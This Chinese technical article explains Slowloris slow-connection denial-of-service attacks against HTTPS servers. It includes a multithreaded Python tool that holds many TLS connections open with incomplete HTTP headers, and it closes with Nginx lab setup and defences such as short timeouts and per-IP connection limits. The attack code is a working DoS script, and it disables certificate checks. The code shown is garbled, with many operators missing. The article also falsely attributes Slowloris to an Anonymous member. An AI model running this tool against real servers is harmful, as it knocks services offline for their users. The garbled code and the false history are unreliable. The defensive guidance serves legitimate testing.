HTTPS慢速连接压力测试：从Slowloris攻击原理到Python实战

1. 项目概述当“慢速”攻击遇上“安全”连接在网络安全和性能测试领域有两个词经常被同时提及却又代表着截然不同的两面Slowloris和HTTPS。前者是一种经典的、利用协议“礼貌性”缺陷的低带宽应用层DDoS攻击手段旨在用最少的资源拖垮Web服务器后者则是现代互联网安全的基石通过TLS/SSL加密为数据传输提供机密性、完整性和身份验证。乍一看它们似乎是对立的——一个试图破坏服务一个试图保护通信。但作为一名负责安全评估或压力测试的工程师将这两者结合起来思考却是一个极具现实意义的课题如何对一个启用了HTTPS的安全服务进行有效的、模拟真实攻击场景的连接压力测试这不仅仅是运行一个简单的ab或wrk命令那么简单。HTTPS引入了TLS握手、证书验证、加密解密等额外开销这些都会显著改变服务器的资源消耗模式。传统的基于HTTP的Slowloris攻击脚本在HTTPS面前往往会直接哑火因为TLS层对连接建立有更严格的状态管理和超时机制。因此构建一个针对HTTPS的Slowloris式压力测试方案需要深入理解两者的工作原理并找到那个既能模拟攻击者“慢速耗尽连接”策略又能成功建立并维持TLS安全连接的平衡点。最近在排查一些线上服务问题时我频繁遇到类似“建立安全连接失败”、“unexpected status 404 not found”、“SSL certificate problem”这样的错误。这些错误背后可能隐藏着服务器在高并发TLS握手压力下的性能瓶颈。为了主动发现并量化这些风险我决定动手搭建一套完整的测试环境。这篇文章就是我这次实践的完整记录。我会带你从原理拆解开始一步步构建工具设计测试用例并分析结果。无论你是安全研究员想深入理解攻击防御还是运维开发人员需要对自家HTTPS服务进行极限压测相信都能从中找到可直接复用的思路和代码。2. Slowloris攻击原理深度拆解为何“慢”即是“致命”在讨论如何对HTTPS实施类似攻击之前我们必须先吃透Slowloris的原始设计思想。它诞生于2009年由著名的“黑客公益组织”Anonymous的成员RSnake提出。其核心哲学非常巧妙不以流量取胜而以“礼貌”和“耐心”耗尽资源。2.1 核心攻击机制耗尽服务器的连接线程池想象一下Web服务器如Apache的prefork或workerMPM的工作方式。它会维护一个有限的工作进程或线程池每个工作单元负责处理一个客户端连接。当连接建立后该工作单元会被占用直到请求被完整接收、处理并返回响应后才会被释放回池中等待服务下一个连接。Slowloris攻击正是瞄准了这个机制。攻击者会发起大量到目标服务器80端口的TCP连接即HTTP连接并在完成三次握手后开始以极慢的速度发送HTTP请求头。例如它可能先发送一个GET / HTTP/1.1\r\n然后等待几十秒再发送一个Host: victim.com\r\n再等待如此反复。由于请求行和请求头之间是以\r\n分隔而请求头的结束是以一个空行\r\n\r\n为标志只要攻击者不发送那个最终的空行从服务器的视角来看这个HTTP请求就“尚未完成”它必须一直保持这个连接打开并等待后续数据的到来。关键点服务器的工作线程/进程会认为这是一个合法的、尚未传输完成的慢速客户端比如一个网速极差的用户因此不会主动断开连接。根据HTTP协议规范服务器需要保持足够的耐心。2.2 与传统洪泛攻击的对比为了更清晰地理解Slowloris的独特性我们将其与常见的SYN Flood或HTTP Flood攻击进行对比攻击类型资源消耗重点带宽需求检测难度针对层SYN Flood耗尽服务器的半连接队列backlog。发送大量SYN包但不完成三次握手。中-高较易异常SYN包数量网络层/传输层HTTP Flood耗尽服务器CPU、内存、数据库等应用资源。模拟正常用户快速发送完整请求。高难类似真实流量应用层7层Slowloris耗尽服务器的并发连接数工作线程/进程。保持连接但不完成请求。极低很难单个连接行为似正常慢用户应用层7层从表格可以看出Slowloris的最大优势在于其“低带宽”特性。一个攻击者用一台普通的VPS就能轻易hold住成千上万个连接而这些连接每秒只发送几个字节。防火墙或IDS很难区分这与一个真正的慢速网络用户有何不同。2.3 攻击成功的先决条件与演变经典的Slowloris对特定配置的服务器特别有效线程/进程数有限如Apache的MaxClientsNginx的worker_connections虽然后者架构不同影响方式有异。超时设置过长服务器的Timeout、KeepAliveTimeout等配置值较大。无中间防护前端没有部署能够识别并中断慢速连接的WAF或负载均衡器。随着时代发展纯粹的原始Slowloris对现代服务器如Nginx、高版本Apache和防护设备的直接效果已减弱。但它们催生了一系列“慢速攻击”变种如Slow POST缓慢发送HTTP POST请求体、Slow Read缓慢读取服务器响应其内核思想一脉相承利用协议交互中的时间差用最少的资源占用服务器最长的服务时间。理解了这一点我们就能意识到将这种攻击模式移植到HTTPS上最大的挑战来自于TLS协议本身。TLS握手过程有明确的超时和状态机不是你想“慢”就能“慢”得下去的。这恰恰是我们需要攻克的技术难点。3. HTTPS连接建立过程与压力测试的关联分析要对HTTPS进行有效的压力测试尤其是模拟Slowloris这种专注于连接状态的攻击必须对TLS/SSL握手过程了如指掌。这是一个比HTTP建立复杂得多的“仪式”。3.1 TLS握手流程详解每一步都是资源消耗一个完整的TLS 1.2握手RSA密钥交换为例大致包含以下步骤TCP三次握手建立基础的传输层连接。Client Hello客户端发送一个明文消息包含支持的TLS版本、密码套件列表、一个随机数Client Random等。Server Hello服务器回应确定使用的TLS版本和密码套件并发送自己的随机数Server Random和数字证书。证书验证客户端验证服务器证书的合法性是否由可信CA签发、是否在有效期内、域名是否匹配等。这是一个CPU密集型操作尤其是证书链的验证。密钥交换客户端生成一个预主密钥Pre-Master Secret用服务器证书中的公钥加密后发送给服务器。计算会话密钥客户端和服务器利用Client Random、Server Random和Pre-Master Secret各自独立计算出相同的会话密钥Master Secret用于后续的对称加密。握手完成双方交换Finished消息验证握手过程未被篡改。至此安全通道才建立完成之后的应用层数据如HTTP请求才会被加密传输。3.2 HTTPS给服务器带来的额外压力点与纯HTTP相比HTTPS在连接建立阶段就引入了多个性能瓶颈CPU消耗非对称加密解密RSA、密钥交换、对称加密解密AES、消息认证码HMAC计算。RSA运算尤其消耗CPU。内存消耗每个TLS连接都需要维护会话状态Session State包括密码套件、密钥、序列号等这比HTTP连接的状态信息要多。握手延迟完整的握手需要额外2个RTT往返时间显著增加了连接建立的延迟。文件描述符/套接字在握手完成前连接同样占用文件描述符。如果大量连接卡在握手阶段会更快地耗尽系统资源。3.3 针对HTTPS的“慢速”攻击思路基于以上分析针对HTTPS的Slowloris式攻击可以尝试在握手过程的多个环节进行“拖延”拖延发送Client Hello建立TCP连接后等待很长时间才发送Client Hello报文。拖延处理Server Hello收到Server Hello和证书后缓慢地进行证书验证如果是自定义脚本可以人为添加延迟。拖延密钥交换在需要发送加密的Pre-Master Secret时缓慢发送或分片发送。混合攻击完成TLS握手后再采用传统的HTTP Slowloris方法缓慢发送加密后的HTTP请求。然而这里有一个关键限制TLS协议本身有握手超时。无论是客户端还是服务器如果在一定时间内通常是30-60秒没有完成握手都会主动断开连接。这意味着我们无法像原始Slowloris那样无限期地保持一个“半完成”的TLS连接。我们的目标变成了在服务器允许的超时窗口内尽可能多地创建并保持处于握手中间状态的连接以耗尽其用于处理TLS握手的资源CPU、内存、工作线程。4. 构建HTTPS Slowloris压力测试工具从理论到实践明白了原理我们就可以着手构建测试工具了。我们的目标不是开发一个用于恶意攻击的武器而是一个用于自我评估和防御验证的压力测试客户端。我将使用Python进行演示因为它拥有丰富的网络和加密库。4.1 工具设计目标模拟真实攻击能够模拟在TLS握手各阶段的延迟。可控制精确控制并发连接数、延迟时间、持续时间。支持HTTPS核心能力能处理TLS/SSL协议。资源友好在攻击端测试客户端也要高效一台机器能模拟大量连接。信息收集能统计连接成功/失败数、服务器响应等指标。4.2 核心实现使用低层socket与ssl库直接使用高层库如requests、urllib3很难精细控制握手过程。我们将使用Python的socket和ssl库进行底层操作。首先我们实现一个基本的、无延迟的HTTPS连接建立函数import socket import ssl import time def create_https_connection(host, port443): 建立一个普通的HTTPS连接 # 1. 创建原始TCP套接字 raw_socket socket.socket(socket.AF_INET, socket.SOCK_STREAM) raw_socket.settimeout(10) # 设置超时避免永久阻塞 try: # 2. 建立TCP连接 raw_socket.connect((host, port)) print(f[] TCP连接建立成功: {host}:{port}) # 3. 创建SSL上下文包装套接字 # 这里可以选择不验证证书用于测试环境 context ssl.create_default_context() context.check_hostname False context.verify_mode ssl.CERT_NONE # 4. 执行TLS握手得到安全的SSL套接字 ssl_socket context.wrap_socket(raw_socket, server_hostnamehost) print(f[] TLS握手成功密码套件: {ssl_socket.cipher()}) return ssl_socket except socket.timeout: print(f[-] 连接{host}:{port}超时) return None except ConnectionRefusedError: print(f[-] 连接被拒绝可能端口未开放) return None except ssl.SSLError as e: print(f[-] TLS握手失败: {e}) return None except Exception as e: print(f[-] 未知错误: {e}) return None这个函数能建立一个正常的HTTPS连接。但这还不够“Slowloris”。我们需要在关键步骤插入延迟。4.3 实现“慢速”握手在ClientHello后延迟一个更贴近攻击的思路是建立TCP连接后立即发送ClientHello但在收到ServerHello后延迟进行后续操作证书验证、发送密钥交换信息。然而Python的ssl.wrap_socket是一个封装好的过程难以插入这种精细延迟。为了实现更底层的控制我们需要手动构造TLS记录吗这过于复杂。一个更实用的折中方案是创建连接完成完整握手但之后不发送完整的HTTP请求而是缓慢发送加密后的HTTP请求头。这更类似于在HTTPS层之上进行传统的Slowloris攻击。我们修改函数使其在握手完成后开始缓慢发送一个不完整的HTTP请求def slow_https_attack(host, port443, path/, delay5, hold_time60): 建立HTTPS连接后缓慢发送不完整的HTTP请求保持连接 host: 目标主机 port: 端口默认443 path: 请求路径 delay: 发送每个数据块之间的延迟秒 hold_time: 总共保持连接的时间秒 ssl_socket create_https_connection(host, port) if not ssl_socket: return # 构造一个不完整的HTTP GET请求 request_lines [ fGET {path} HTTP/1.1\r\n, fHost: {host}\r\n, User-Agent: Slowloris-Test-Client/1.0\r\n, # 注意我们故意不发送结束的空行\r\n\r\n ] try: # 缓慢发送请求头 for line in request_lines: ssl_socket.send(line.encode()) print(f[.] 已发送: {line.strip()}) time.sleep(delay) # 关键延迟在这里 # 发送一部分然后保持连接不再发送更多数据也不发送空行 print(f[*] 进入保持状态计划保持{hold_time}秒...) time.sleep(hold_time) # 最终可以发送空行结束请求看看服务器响应可选 # ssl_socket.send(b\r\n) # response ssl_socket.recv(4096) # print(f[] 服务器响应预览: {response[:200]}) except socket.timeout: print([-] 发送数据超时) except BrokenPipeError: print([-] 连接已被服务器断开) except Exception as e: print(f[-] 发送数据时出错: {e}) finally: ssl_socket.close() print([*] 连接已关闭)这个函数模拟了攻击建立安全连接然后像滴水一样发送HTTP请求头让服务器一直等待请求结束。4.4 实现多连接并发攻击单个连接没有威胁。我们需要一个管理器来发起并维护数百甚至数千个这样的连接。import threading import concurrent.futures class SlowlorisHTTPSAttacker: def __init__(self, target_host, target_port443, num_threads50): self.target_host target_host self.target_port target_port self.num_threads num_threads self.connections [] # 用于跟踪活跃连接简化示例实际需更复杂管理 self.running False def worker(self, worker_id): 每个工作线程的任务创建一个慢速连接并保持 print(f[Thread-{worker_id}] 启动) try: # 这里调用我们上面写的 slow_https_attack 函数 # 为了增加压力可以缩短hold_time让线程结束后立即创建新连接 slow_https_attack( hostself.target_host, portself.target_port, path/test, delayrandom.randint(2, 10), # 随机延迟更隐蔽 hold_timerandom.randint(30, 90) # 随机保持时间 ) except Exception as e: print(f[Thread-{worker_id}] 发生错误: {e}) print(f[Thread-{worker_id}] 结束) def start(self, duration300): 启动攻击持续指定秒数 self.running True start_time time.time() end_time start_time duration # 使用线程池管理并发 with concurrent.futures.ThreadPoolExecutor(max_workersself.num_threads) as executor: future_to_id {} thread_counter 0 while time.time() end_time and self.running: # 如果当前活跃任务数小于线程数则提交新任务 # 这里是一个简化的逻辑实际应该根据完成的连接数来动态创建 if len(future_to_id) self.num_threads: future executor.submit(self.worker, thread_counter) future_to_id[future] thread_counter thread_counter 1 # 清理已完成的任务 done_futures [f for f in future_to_id if f.done()] for f in done_futures: try: f.result() # 获取结果可能抛出异常 except Exception as e: print(f线程 {future_to_id[f]} 执行异常: {e}) del future_to_id[f] time.sleep(0.1) # 避免忙等待 print([*] 攻击结束) def stop(self): self.running False # 使用示例 if __name__ __main__: import random # !!! 警告仅用于测试你自己拥有或授权测试的服务器 !!! attacker SlowlorisHTTPSAttacker(target_hostyour-test-server.com, num_threads200) attacker.start(duration600) # 测试10分钟重要提示与法律风险上述代码仅为技术演示和教育目的。未经明确授权对任何不属于你或你未获得书面测试许可的系统进行此类测试都是非法的可能构成计算机犯罪如DDoS攻击。请在完全隔离的实验室环境如本地虚拟机搭建的测试服务器中进行实践。5. 压力测试实战目标环境搭建与测试执行工具准备好了我们需要一个合适的“靶场”。测试的目标是评估HTTPS服务在慢速连接压力下的表现而不是真的搞垮某个服务。5.1 搭建测试目标服务器为了安全且可控我们在本地虚拟机或容器中搭建一个Nginx服务器并为其配置自签名SSL证书。安装Nginx(以Ubuntu为例)sudo apt update sudo apt install nginx -y生成自签名SSL证书sudo mkdir -p /etc/nginx/ssl sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/nginx/ssl/selfsigned.key \ -out /etc/nginx/ssl/selfsigned.crt \ -subj /CCN/STTest/LTest/OTest/CNlocalhost这将生成一个有效期为365天、密钥为2048位RSA的自签名证书。配置Nginx HTTPS站点 编辑/etc/nginx/sites-available/default或新建一个配置文件server { listen 443 ssl; server_name localhost; # 或你的测试域名 ssl_certificate /etc/nginx/ssl/selfsigned.crt; ssl_certificate_key /etc/nginx/ssl/selfsigned.key; # 调整一些关键参数模拟更容易受攻击的配置 # 注意生产环境不应设置过大的超时时间 client_body_timeout 60s; client_header_timeout 60s; keepalive_timeout 75s; send_timeout 60s; # 限制连接数便于观察效果模拟资源有限 # 在Nginx中连接数限制更复杂通常与worker_connections和系统限制相关 # 我们这里主要观察系统资源 location / { root /var/www/html; index index.html index.htm; # 模拟一个处理较慢的后端可选 # proxy_pass http://slow_backend; } }保存后测试配置并重启Nginxsudo nginx -t sudo systemctl restart nginx调整系统限制为了在单机上模拟更多连接可能需要临时提高本地端口范围和文件描述符限制。# 临时提高本地端口范围 echo 1024 65535 | sudo tee /proc/sys/net/ipv4/ip_local_port_range # 临时提高当前用户的最大文件描述符数 ulimit -n 65535注意这些设置在重启后失效且在生产客户端机器上操作需谨慎。5.2 执行测试并监控指标在另一台机器攻击机/测试客户端上运行我们编写的Python脚本目标指向测试服务器的IP和443端口。监控服务器端指标在测试服务器上执行连接数sudo netstat -anp | grep :443 | wc -l或ss -tan state established | grep :443 | wc -lNginx状态sudo systemctl status nginx查看是否活跃或通过Nginx状态模块需额外配置。系统资源top或htop观察CPU使用率特别是%waI/O等待和%sy系统CPU。free -m观察内存使用情况。dstat -n --tcp观察网络连接状态统计。查看Nginx错误日志sudo tail -f /var/log/nginx/error.log寻找类似*1024 worker_connections are not enough或超时错误。测试场景设计基准测试先用正常工具如wrk或ab测试服务器在正常HTTPS负载下的性能RPS 响应时间。慢速连接测试启动我们的SlowlorisHTTPSAttacker设置num_threads500观察服务器连接数增长情况。此时正常用户的访问可能会开始变慢或超时。混合负载测试在慢速攻击进行的同时运行正常的基准测试工具观察性能下降的幅度。这模拟了在遭受慢速攻击时真实用户感受到的影响。5.3 测试结果分析与解读通过监控你可能会观察到以下现象连接数飙升netstat或ss命令显示到443端口的ESTABLISHED连接数迅速达到上限受限于worker_connections或系统nofile限制。Nginx Worker进程忙碌在top中Nginx worker进程的CPU使用率可能不高因为连接大多在等待但内存占用会随着连接数增加而上升。新连接被拒绝当连接数耗尽后新的合法用户连接会收到Connection refused或超时错误。在Nginx错误日志中可能出现*1024 worker_connections are not enough。系统资源如果连接数极大可能会看到系统文件描述符耗尽或者由于大量套接字导致内存压力增加。关键指标最大可持续连接数在服务器开始拒绝新连接或出现大量错误之前能保持的慢速连接数。这直接反映了服务器对这类攻击的“容量”。对正常服务的影响在慢速攻击下正常请求的响应时间增长百分比和错误率。这量化了攻击的实际破坏力。服务器恢复时间停止攻击后服务器需要多长时间才能清空所有僵尸连接并恢复正常服务。这取决于keepalive_timeout等配置。6. 防御策略与缓解措施从测试中学习通过攻击测试我们直观地看到了威胁。接下来就要根据测试结果制定和验证防御策略。6.1 服务器配置优化以Nginx为例调整超时时间这是对抗Slowloris最基本有效的方法。减少服务器等待客户端发送数据的时间。# 在 http, server 或 location 块中设置 client_header_timeout 10s; # 接收客户端请求头的超时时间建议5-15s client_body_timeout 10s; # 接收客户端请求体的超时时间 keepalive_timeout 15s 10s; # 第一个值是保持连接的超时时间第二个值是Keep-Alive: timeout头部的值建议设置较低 send_timeout 10s; # 向客户端发送响应的超时时间将超时时间设置得足够短可以让僵尸连接更快地被释放。但要注意设置过短可能会误伤真正的慢速网络用户。限制连接数worker_connections定义每个worker进程可以同时处理的最大连接数。需要根据服务器内存和负载调整。limit_conn模块可以对单个IP的并发连接数进行限制。http { limit_conn_zone $binary_remote_addr zoneaddr:10m; server { limit_conn addr 20; # 每个IP同时最多20个连接 } }这能有效防止单个攻击源建立过多连接。启用连接速率限制使用limit_req模块限制请求速率虽然对纯连接保持的Slowloris效果有限但可以防御混合了部分请求的攻击变种。6.2 使用专业的防护设备或服务Web应用防火墙WAF现代WAF如Cloudflare, AWS WAF, ModSecurity等通常具备检测慢速HTTP攻击的能力。它们可以分析请求到达的速率如果检测到某个连接长时间未发送完整请求头会主动将其断开或进行质询如弹出验证码。负载均衡器/反向代理像HAProxy、AWS ALB/NLB等可以在前端设置更严格的连接和超时策略为后端的应用服务器提供一层缓冲。云服务商的DDoS防护阿里云、腾讯云、AWS等提供的DDoS高防服务通常在网络层和应用层都有针对慢速攻击的防护算法。6.3 应用层防御与监控监控与告警建立对异常连接数的监控。如果来自单个IP或总体的ESTABLISHED但空闲的连接数在短时间内异常增长应立即触发告警。监控指标netstat -an | grep :443 | grep ESTABLISHED | wc -l使用Prometheus Grafana通过node_exporter的netstat指标或Nginx的stub_status模块进行可视化。动态防火墙规则结合监控使用脚本或安全工具如Fail2ban自动分析日志将长时间保持半开连接的IP地址临时加入防火墙黑名单。优化应用架构采用异步、非阻塞的框架如Nginx本身、Node.js、Go它们对于大量空闲连接的处理效率远高于传统的每连接一线程/进程模型如旧版Apache prefork。这也是Nginx天生对Slowloris抵抗力更强的原因之一。7. 常见问题与排查技巧实录在实际测试和防御配置过程中我踩过不少坑。这里记录一些典型问题和解决方法。7.1 测试客户端常见问题问题1[Errno 24] Too many open files现象测试客户端在创建几百个连接后报错。原因操作系统对单个进程打开文件描述符的数量有限制。解决# 查看当前限制 ulimit -n # 临时提高限制仅当前shell有效 ulimit -n 65535 # 永久修改编辑 /etc/security/limits.conf添加 # * soft nofile 65535 # * hard nofile 65535同时在Python代码中确保连接使用完毕后正确调用.close()方法或者使用with语句管理资源。问题2攻击脚本很快停止连接数上不去现象启动几百个线程但netstat看到的连接数远低于预期。原因服务器端超时设置很短连接很快被断开。客户端线程创建连接失败如被拒绝、超时但错误处理逻辑导致线程退出过快。没有实现连接的重连机制。一个线程只建立一个连接保持一段时间后就结束了。解决检查服务器超时配置。在客户端的worker函数中增加重试和循环逻辑。一个更健壮的攻击线程应该建立连接 - 保持 - 如果断开则尝试重建 - 持续到攻击时间结束。使用连接池管理而不是简单的线程-连接一对一。问题3无法验证自签名证书现象Pythonssl模块报错[SSL: CERTIFICATE_VERIFY_FAILED]。解决在测试环境中我们可以临时禁用证书验证如示例代码中所做。但务必注意在生产或对外测试中禁用证书验证会带来中间人攻击风险仅限内网测试使用。context ssl.create_default_context() context.check_hostname False context.verify_mode ssl.CERT_NONE7.2 服务器端配置与监控问题问题4调整了Nginx超时但效果不明显现象将client_header_timeout设为5秒但慢速连接似乎保持得更久。排查检查配置作用域确保修改的配置在正确的http,server,location块中并且已经重载nginx -s reload或重启Nginx。检查默认值Nginx有些超时有默认值可能在更高层级的配置中被覆盖。使用nginx -T查看完整的合并后配置。连接可能已超过超时阶段Slowloris可能在超时时间内发送了少量数据如一个字节重置了超时计时器。需要检查client_header_timeout和client_body_timeout的定义它们是从上一次接收到客户端数据后开始计时的。进阶配置可以考虑使用Nginx的$request_time或$upstream_response_time变量记录慢请求并配合limit_req或自定义Lua模块进行更精细的控制。问题5如何区分恶意慢速连接和真正的慢速用户难点这是防御慢速攻击的核心挑战。完全区分很难但可以结合多种策略降低风险每个IP连接数限制如上文所述正常用户不会同时打开几十个到同一个网站的连接。请求速率限制对建立连接后长时间不发送完整请求的IP降低其优先级或进行质询。行为分析使用WAF或安全分析平台分析连接模式。恶意连接往往行为一致如精确的延迟间隔而真实用户的网络波动是无规律的。启用HTTP/2HTTP/2的多路复用特性使得单个连接可以处理多个请求降低了攻击者通过大量连接耗尽资源的有效性。但攻击者也可能针对HTTP/2的流Stream进行慢速攻击。7.3 性能测试与压力测试的区别在项目实践中务必要分清性能测试和压力测试/安全测试的界限性能测试如JMeter, wrk目标是评估系统在正常、合理负载下的表现吞吐量、响应时间。我们模拟的是善意用户。压力测试/安全测试如本文的Slowloris测试目标是找到系统的崩溃点、瓶颈和漏洞。我们模拟的是恶意行为。压力测试通常指施加超出正常负载的压力看系统何时及如何失效。安全测试专注于利用特定的协议弱点或逻辑缺陷。切勿在线上环境进行未经授权的压力测试或安全测试。这不仅是法律问题也可能对业务造成真实损害。建立一个与生产环境相似的预发布环境或独立的测试集群是进行此类测试的必要前提。最后我想分享的一点个人体会是安全是一个动态对抗的过程。像Slowloris这样的“古老”攻击其变种依然活跃。通过亲手搭建测试环境、编写攻击脚本你对攻击原理的理解会深刻得多这远比只看防御文章有效。当你真正从攻击者的视角看问题设计出的防御策略才会更加有的放矢。这套针对HTTPS的慢速连接压力测试方案不仅是一个测试工具更是一个理解现代Web服务器在加密通信场景下抗压能力的学习框架。你可以在此基础上扩展出对HTTP/2、QUIC等新协议的压力测试持续更新你的安全知识库。